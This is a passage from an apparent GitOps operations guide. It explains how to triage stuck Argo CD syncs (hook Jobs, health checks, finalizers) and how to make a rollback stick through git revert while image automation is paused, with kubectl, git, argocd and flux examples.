  • A wave can wait on health forever. Per the health doc and the FAQ, a `LoadBalancer` Service and an Ingress stay `Progressing` until `status.loadBalancer.ingress` is non-empty (contour and traefik are named as controllers that do not fill it in), a StatefulSet or DaemonSet with `OnDelete` update strategy may not report as updated, and a PVC needs phase `Bound`, which a `WaitForFirstConsumer` volume reaches only after a Pod uses it (inference: a consumer placed in a later wave would then deadlock). The sync waves doc warns that an Application can have unhealthy resources in the first wave and never reach healthy.
  • Pick the least destructive fix first. Fix the cause (a bounded hook Job, the missing LoadBalancer address, the consumer's wave), or make the check match reality with a custom Lua check under `resource.customizations.health.<group>_<kind>` or the annotation `argocd.argoproj.io/ignore-healthcheck: "true"` on an immediate child. Only then `argocd app terminate-op demo-app`: per the source it sets the phase to `Terminating`, the controller removes the hook finalizers and deletes the hooks that are still running and ends the operation as `Failed` with `Operation terminated`. The docs caution that terminating does not stop whatever the hook already started, so check the database before retrying.
  • After terminating, the same commit will not retry by itself: per the auto sync doc an automated sync does not reattempt when the previous attempt against the same commit and parameters failed, so push a new commit or start a sync by hand. `controller.sync.timeout.seconds` in `argocd-cmd-params-cm` defaults to `0`, no timeout; when set, the controller ends the operation with `operation is terminating due to timeout`. For a stuck delete, the Application finalizer `resources-finalizer.argocd.argoproj.io` cascades the delete, a failing PreDelete hook blocks it with a `DeletionError` condition until the hook is fixed or deleted, and `kubectl patch app NAME -p '{"metadata": {"finalizers": null}}' --type merge` removes the cascade and leaves the resources running (all per the docs; not run here).

Examples

Triage in the order of the playbook: what the operation waits for, which resources hold the Application back, then the least destructive way out (field names checked against the Application CRD; commands per the CLI reference, not run against Argo CD here).

bash
# 1. what is the operation doing, and for how long?
kubectl -n argocd get application demo-app -o json \
  | jq -r '.status.operationState | "\(.phase) since \(.startedAt): \(.message)"'
# Running since 2026-10-10T10:02:11Z: waiting for completion of hook batch/Job/demo-app-migrate

# 2. which resources are hooks, in which wave, and not Healthy?
kubectl -n argocd get application demo-app -o json \
  | jq -r '.status.resources[] | select(.hook == true or ((.health.status // "Healthy") != "Healthy")) | "\(.kind)/\(.name) wave=\(.syncWave // 0) hook=\(.hook // false) \(.health.status // "-")"'

# 3. the hook Job itself: conditions, retries, pod state
kubectl -n demo-app get job demo-app-migrate -o jsonpath='{.status.conditions}{"\n"}{.spec.backoffLimit}{"\n"}'
kubectl -n demo-app get pods -l job-name=demo-app-migrate

# 4. only after fixing the cause: end the operation (hook Jobs are deleted, finalizers removed)
argocd app terminate-op demo-app
# an automated sync will not retry the same commit after a failed attempt: push a new commit,
# or start one by hand
argocd app sync demo-app

A PreSync migration hook that cannot hang the sync: a small `backoffLimit`, an `activeDeadlineSeconds` that takes precedence over it, and no `ttlSecondsAfterFinished` (kubeconform: valid; without the two bounds the API server defaulted `backoffLimit` to 6 and left the deadline unset).

yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: demo-app-migrate
  namespace: demo-app
  annotations:
    argocd.argoproj.io/hook: PreSync
    argocd.argoproj.io/hook-delete-policy: BeforeHookCreation
spec:
  backoffLimit: 1
  activeDeadlineSeconds: 600
  template:
    spec:
      restartPolicy: Never
      containers:
        - name: migrate
          image: ghcr.io/example/demo-app-migrate:1.4.0
          command: ["demo-app-migrate", "up"]

What a hook finalizer does, on a real kube-apiserver v1.37.1 with etcd 3.6.5 (no Argo CD, so the controller that would normally remove the finalizer is absent): the delete is accepted, the object stays `Terminating`, and it disappears only when the finalizer is patched away.

bash
cat > job.yaml <<'EOF'
apiVersion: batch/v1
kind: Job
metadata:
  name: demo-app-migrate
  namespace: demo
  annotations:
    argocd.argoproj.io/hook: PreSync
  finalizers:
    - argocd.argoproj.io/hook-finalizer
spec:
  template:
    spec:
      restartPolicy: Never
      containers:
        - name: migrate
          image: ghcr.io/example/demo-app-migrate:1.4.0
EOF
kubectl apply -f job.yaml
kubectl -n demo get job demo-app-migrate -o jsonpath='backoffLimit={.spec.backoffLimit} activeDeadline={.spec.activeDeadlineSeconds}{"\n"}'
# backoffLimit=6 activeDeadline=

kubectl -n demo delete job demo-app-migrate --wait=false
kubectl -n demo get job demo-app-migrate -o jsonpath='{.metadata.deletionTimestamp} {.metadata.finalizers}{"\n"}'
# 2026-10-10T14:20:21Z ["argocd.argoproj.io/hook-finalizer"]
kubectl -n demo get job
# NAME               STATUS        COMPLETIONS   DURATION   AGE
# demo-app-migrate   Terminating   0/1                      0s

# last resort, and only when no operation is running: this removes the guarantee the finalizer gave
kubectl -n demo patch job demo-app-migrate --type=merge -p '{"metadata":{"finalizers":null}}'
kubectl -n demo get job
# No resources found in demo namespace.

In practice

  • Argo CD — Runs hooks as ordinary Kubernetes objects, adds a finalizer to each, assesses their health from the object's status, and keeps the operation open until every hook of the phase has completed; `argocd app terminate-op` is the documented way out.
  • Kubernetes Job controller — Retries failed pods with an exponential back-off of 10s, 20s, 40s and so on capped at six minutes, defaults `backoffLimit` to 6, and lets `activeDeadlineSeconds` override the retry count, which together decide how long a failing hook looks like it is still running.
  • Kubernetes finalizers — A delete on an object with finalizers only sets `metadata.deletionTimestamp`; the object stays visible until every finalizer is removed by the controller that owns it, which is the generic mechanism behind hook and Application deletions that hang.
  • ingress-nginx — The sync waves doc uses its `ingress-nginx-admission-create` Job as the example of a PreSync hook stuck in `Pending deletion` under Argo CD 2.x, with `argocd.argoproj.io/hook: Skip` as the documented workaround.
  • Traefik — The Argo CD FAQ names it with contour as an ingress controller that does not update `status.loadBalancer.ingress`, which keeps an Ingress and so the Application `Progressing`; publishing the loadBalancer IP through its `publishedservice` setting is the documented fix.

Trade-offs

Pros

  • Reading `operationState` and `status.resources[]` first turns a vague stuck sync into a named hook, wave or finalizer
  • Bounding hook Jobs with `backoffLimit` and `activeDeadlineSeconds` makes a failing migration fail in minutes with a clear `Degraded` instead of hanging
  • Custom health checks and `ignore-healthcheck` let the Application report what you actually care about, not what a generic rule can see

Cons

  • Terminating the operation does not undo what the hook already did, so a half-applied migration needs a manual check
  • A tight `activeDeadlineSeconds` kills a legitimately slow migration and leaves the same half-applied state
  • Patching a finalizer away skips the guarantee it existed for and can orphan objects the controller still tracks
  • Ignoring a health check hides a real failure along with the false one

You rolled back and a few minutes later the bad version is live again: find which writer put it back (the sync loop, image automation, a teammate's old clone), and order the steps as pause the writer, `git revert`, verify the revision, then resume.

The problem

Release 1.1.0 breaks checkout at 10:02. Someone runs `kubectl set image` back to 1.0.0, errors drop, and three minutes later 1.1.0 is serving again. In another incident the Git revert is merged, and an hour later image automation commits `bump demo-web to 1.1.0` because 1.1.0 is still the newest tag in the registry. A rollback that is not made at the source of desired state is a temporary edit that the next writer undoes, and the second incident costs more than the first.

How it works

  • List the writers before touching anything. Desired state can be written by the sync loop (re-applying whatever Git says), by image automation or a promotion bot, by a CI job that re-renders manifests, and by a person whose clone still has the bad commit. `git log --first-parent --format='%h %an %s' -- overlays/prod` shows who last changed the pinned version, and `status.sync.revision` on the Application shows which commit the controller last compared against. If Git still names 1.1.0, everything outside Git loses sooner or later.
  • A cluster-side rollback lasts until the next apply. Observed with a stand-in controller (a shell function that clones `main`, runs `kustomize build` and a forced server-side apply against kube-apiserver v1.37.1; Argo CD itself not run here): after `kubectl set image` back to 1.0.0 the next reconcile put 1.1.0 back. Per the auto sync doc, with `selfHeal` off a live change does not trigger a sync and survives until the next sync of that Application; with `selfHeal: true` it is retried after the self-heal delay (see drift-selfheal-prune for the timing).
  • `argocd app rollback` cannot be the rollback of record under automation. The auto sync doc states that rollback cannot be performed against an application with automated sync enabled, and the command takes an optional history ID from `argocd app history` (omitted: the previous version) plus `--prune`. After disabling automation, the cluster runs the old revision while Git still names the new one, so the Application reports OutOfSync (inference), and re-enabling `automated` before Git is fixed deploys the bad version again.
  • A Git revert is the rollback that sticks. Observed on git 2.43: with `main` at `c3a62c7 bump demo-web to 1.1.0 (bad release)`, `git revert --no-edit HEAD` created `36fa8c5 Revert "bump demo-web to 1.1.0 (bad release)"`, and the next reconcile applied 1.0.0. Expect the delay of the controller's refresh: per the auto sync doc the polling interval defaults to 120 s plus up to 60 s of jitter (about 3 minutes at most), shortened by a webhook or `argocd app get demo-app --refresh`. A merge commit needs `git revert -m 1`, and re-merging the branch later needs the revert reverted first (see gitops-principles and rollback-vs-roll-forward).
  • A `git reset --hard` plus force push is not a rollback. Observed: Alice reset `main` to `3a9bb55 release 1.0.0` and force-pushed; Bob, whose clone still had the bad commit, committed an unrelated file and pushed, and the push was accepted as a plain fast-forward with no warning, so `origin/main` ended with `0cc9ea3`, `b83e586 bump to 1.1.0 (bad)` and `3a9bb55`, and `prod.yaml` said 1.1.0 again. GitHub documents that force pushes to protected branches are blocked by default. A revert also keeps the audit trail that a rewritten history removes.
  • Image automation writes the newest allowed tag, not the last good one. Observed with a stand-in bot (newest tag in a two-entry registry): after the revert `36fa8c5`, the bot committed `b554ef0 image automation: bump demo-web to 1.1.0` and the next reconcile deployed 1.1.0 again. Per the Flux docs the automation sets the marked fields to what the `ImagePolicy` selects, so the same would happen with Flux (inference, not run here). Argo CD Image Updater with the `argocd` write-back method sets Application parameters that, per its docs, are lost when the Application is synced back from Git, and with the `git` method it commits `.argocd-source-<appName>.yaml`, a file a revert of the kustomization alone would not touch (inference).
  • Order the steps: pause the writer, revert in Git, constrain the writer, resume. The writer is the automation or promotion bot, not the sync controller, so the revert still deploys. Observed with the stand-in: bot suspended, controller still reconciling `36fa8c5` to 1.0.0, bad tag excluded, bot resumed with `bot: already at 1.0.0` and no new commit. For Flux, `flux suspend image update NAME` or `spec.suspend: true` stops an `ImageUpdateAutomation` and an `exclusionList` on the `ImageRepository`, a `semver` range or `filterTags` on the `ImagePolicy` constrain what is picked. Pausing the controller instead (`argocd app set demo-app --sync-policy none`, `flux suspend kustomization NAME`) freezes the bad version in place until it is resumed.
  • Pausing has its own traps (per the docs, not run here). For an Application generated by an ApplicationSet, editing `automated` on the child has no effect; the ApplicationSet needs `ignoreApplicationDifferences` with a rule such as `/spec/syncPolicy`. The Flux docs prefer removing `spec.suspend` declaratively because a manual `kubectl` change to an object declared in Git is overwritten by the Git-declared state. Verify the result instead of trusting the pause: `status.sync.revision` equals the revert commit and `status.sync.status` is `Synced`, `argocd app history demo-app` lists the deployed revisions, and the live image is what you meant. A revert does not undo a migration or published messages (see db-migrations-expand-contract), and a re-run of the CI run that promoted the bad version can write it again (inference).

Examples

The rollback flow on a stand-in controller (kube-apiserver v1.37.1, etcd 3.6.5, a scratch Git repository; the controller is a shell function, not Argo CD): a cluster-side rollback is undone, a Git revert sticks, an image bot undoes the revert unless it is suspended and constrained first. The Argo CD and Flux commands are per the docs, not run here.

bash
# stand-in controller: clone main, render the prod overlay, forced server-side apply
reconcile() {
  git -C ctl fetch -q origin && git -C ctl reset -q --hard origin/main
  (cd ctl && kustomize build overlays/prod \
    | kubectl apply --server-side --force-conflicts --field-manager=argocd-controller -f -)
  kubectl -n demo get deploy demo-web -o jsonpath='{.spec.template.spec.containers[0].image}{"\n"}'
}

reconcile                                   # ghcr.io/example/demo-web:1.1.0 (the bad release)

# 1. rollback in the cluster only
kubectl -n demo set image deploy/demo-web web=ghcr.io/example/demo-web:1.0.0
reconcile                                   # ghcr.io/example/demo-web:1.1.0  <- put back

# 2. rollback in Git
git revert --no-edit HEAD && git push -q origin main
git log --oneline
# 36fa8c5 Revert "bump demo-web to 1.1.0 (bad release)"
# c3a62c7 bump demo-web to 1.1.0 (bad release)
# 945df77 release 1.0.0
reconcile                                   # ghcr.io/example/demo-web:1.0.0

# 3. the image bot runs again and picks the newest tag, 1.1.0
git log --oneline | head -1                 # b554ef0 image automation: bump demo-web to 1.1.0
reconcile                                   # ghcr.io/example/demo-web:1.1.0  <- rollback undone

# right order: suspend the writer, revert, constrain the policy, resume the writer
# (per the docs, not run here)
flux suspend image update demo-web -n flux-system
git revert --no-edit HEAD && git push -q origin main
#   ... add the bad tag to exclusionList or narrow the semver range, commit ...
flux resume image update demo-web -n flux-system
argocd app history demo-app
argocd app get demo-app --refresh

Why a reset plus force push is not a rollback: a clone that still has the bad commit pushes it back as a plain fast-forward (observed on git 2.43 with a bare scratch repository; no error is printed).

bash
# alice and bob both cloned origin; bad commit b83e586 is on main and both have it
cd alice
git reset -q --hard HEAD~1                  # back to 3a9bb55 release 1.0.0
git push -q --force origin main

cd ../bob                                   # still has b83e586 locally
echo 'replicas: 3' > extra.yaml
git add -A && git commit -qm "unrelated: add extra.yaml"
git push origin main                        # accepted: it is a fast-forward of origin/main

git -C ../origin.git log --oneline --graph main
# * 0cc9ea3 unrelated: add extra.yaml
# * b83e586 bump to 1.1.0 (bad)
# * 3a9bb55 release 1.0.0
git -C ../origin.git show main:prod.yaml    # newTag: 1.1.0

Image automation held in place while the revert lands: `spec.suspend: true` stops the Flux controller from reconciling this `ImageUpdateAutomation` (field per the Flux docs; kubeconform with the CRDs catalog: valid). Remove the field declaratively to resume.

yaml
apiVersion: image.toolkit.fluxcd.io/v1
kind: ImageUpdateAutomation
metadata:
  name: demo-web
  namespace: flux-system
spec:
  interval: 10m
  suspend: true
  sourceRef:
    kind: GitRepository
    name: demo-config
  git:
    checkout:
      ref:
        branch: main
    commit:
      author:
        name: fluxcdbot
        email: fluxcdbot@example.com
      messageTemplate: "bump {{range .Changed.Changes}}{{.NewValue}} {{end}}"
    push:
      branch: main
  update:
    path: ./overlays/prod
    strategy: Setters

In practice

  • Argo CD — Treats Git as the source of truth: per the auto sync doc a live change is kept only until the next sync, and `argocd app rollback` is refused while automated sync is enabled, so a durable rollback is a commit.
  • Flux — Reconciles on every interval, and `ImageUpdateAutomation` commits the policy's choice into Git; `flux suspend image update` or `spec.suspend` stops that writer while the revert is made.
  • Argo CD Image Updater — Offers `argocd` write-back (Application parameters, lost when the Application is synced back from Git per its docs) and `git` write-back (a committed `.argocd-source-<appName>.yaml`), which behave differently under a revert.
  • GitHub branch protection — Blocks force pushes to protected branches by default and can require linear history, which is the guard rail that stops a reset-and-force-push rollback from rewriting what the controller tracks.
  • Git — `git revert` adds an inverse commit (with `-m 1` for a merge commit) so the history keeps both the change and its undo, while `git reset` moves the branch and relies on every clone agreeing.

Trade-offs

Pros

  • A Git revert is one reviewable commit that every controller applies the same way, and it keeps the audit trail
  • Pausing only the writer keeps the rollback path fast, because the sync controller still deploys the revert
  • Constraining the image policy before resuming turns a one-off fix into a rule that survives the next push to the registry

Cons

  • The revert takes effect only after the controller's next refresh, up to about 3 minutes by polling, so it is slower than a direct `kubectl` edit
  • Pausing a controller or an automation is a manual state that has to be undone, and a forgotten pause is the next incident
  • Excluding a tag in the image policy is itself a Git change that has to be reviewed and later cleaned up
  • None of this reverses database migrations, sent messages or flags that already changed